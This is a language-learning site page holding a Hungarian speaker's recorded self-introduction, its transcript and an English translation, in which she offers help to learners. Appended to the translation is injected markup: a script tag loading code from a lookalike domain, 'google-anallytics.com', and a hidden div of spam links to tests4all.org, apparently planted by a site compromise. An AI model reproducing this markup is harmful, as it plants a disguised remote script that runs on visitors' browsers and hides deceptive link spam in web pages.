Language sounds
Home > Sounds > Magyar1

‘Magyar1’
Click to listen to magyar1.mp3 (1819Kb)
Native speaker
Author: Kisani
Date: 2/17/2008

Description of what is on the sound file:
Just some sentences about this site, and my language.
Faster version, normal speaking speed.

---

Transcript of sound file:
Sziasztok! Anikó vagyok Magyarországról.
Nem rég regisztráltam a how-to-learn-any-language.com-ra, és szerintem nagyon jó az oldal!
Sok barátot szereztem, de a legjobb az, hogy itt mindenki ugyanúgy rajong a nyelvekért, mint jómagam.
Gondoltam, megmutatom, hogy is beszél magyarul egy anyanyelvi beszélő, ezért rögzítem most a hangomat számotokra. A fórumot olvasgatva láttam, hogy elég sokan kedvelik, és rendszeresen tanulják az anyanyelvemet, és ez nagyon megtisztelő.A magyarra sokan mondják, hogy megtanulhatatlan nyelv, és sokakat megijeszt a nyelvtana és a sok betű az ABCben, , de én biztos vagyok vagyok benne, hogy aki igazán akarja, és eleget gyakorol, az el tudja sajátítani.Részben azért is vagyok itt a fórumon, hogy ebben- a tanulásban, gyakorlásban-segítsek. Ezért kérlek benneteket, ha valakinek bármilyen kérdése van, vagy segítségre van szüksége, forduljon hozzám bizalommal. Szívesen ismerkedem magyarul tanulókkal, és igazán tisztelem azokat, akikben erős az elhatározás, hogy megtanulnak ezen a nyelven. Mondhatnám azt is, hogy írj, ha magyarul tanulsz!:) Egyébként beszélek még angolul (egyelőre középfokú nyelvvizsgám van belőle, de jövőre, ha minden igaz, meglesz a felsőfok is), valamint németül, ebből jelenleg készülök a középfokra. A francia a szenvedélyem, imádom azt a nyelvet, egyszerűen gyönyörű! Annyira szeretnék én is olyan szépen beszélni! Kis ideje kezdtem el tanulni, de sajnos nincs rá elég időm az iskola mellett. Remélem azért hamar sikerül legalább egy olyan szintet elérnem, hogy meg tudjam magamat értetni. Ha ez meglesz, akkor a spanyol és az orosz lesznek a következők, esetleg a finn. Egyszerűen imádom a nyelveket, ezért is szeretnék majdan nyelvészetet tanulni az egyetemen.
Befejezésképpen minden kedves hallgatót arra bátorítanék, hogy ne ijedjen meg a magyartól, ha tetszik, próbálkozzon meg vele bátran, ehhez szívesen felajánlom a segítségemet.
Keressetek bármikor, én segítek. Sziasztok!

---

Translation:
Hello!
I'm Anikó from Hungary.
It hasn't been a long time, since I registrated myself at how-to-learn-any-language.com, and I think the page is very good! I got to know a lot of friends, but the best thing is, that here everyone is as fond of languages as I am. I thought I should show you how a native hungarian speaks, that's why I'm recording my voice for you. Reading the forums I saw, that quite a lot of people like and learn my mother language regularly, this is such a honor. It is said by many, that hungarian language can't be learn, and it's grammar and the many letters in the alphabet scare a lot of people, but I'm sure, that if someone wants it really much, and practises enough, that can learn it. Partly that's why I'm here at the forums, help in is learning and practising.
So I ask you, that if anyone has any questions or needs help, just come and tell me trustingly.
I like getting to know people, who learn hungarian, and I truly respect those ones, who who have the strong decision that they will learn this language. I could even say: Write me if you learn hungarian!
By the way, I speak English ( I have an intermediate language exam in this so far, but if everytbing goes all right, i'll have an advanced one in not too long time) and German as well, at this one, I'm preparing for intermediate exam right now. French is my passion. I adore that language, it1s simply beautiful! It has been a short time only, since I started learning it, but unfortunately I don't have much time for it besides school. But I hope, I'll manage to reach at least a level, which I can make myself understood with. If I have that, spanish and russian will be the next, and probably finnish. I simply adore languages, that1s why I want to study linguistics at university. As for ending, I'd like to encourage every listeners not to get scared from hungarian, if you like it, give it a try bravely, with that I'll offer my help with pleasure. Contact me any time, I'll help. Bye.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)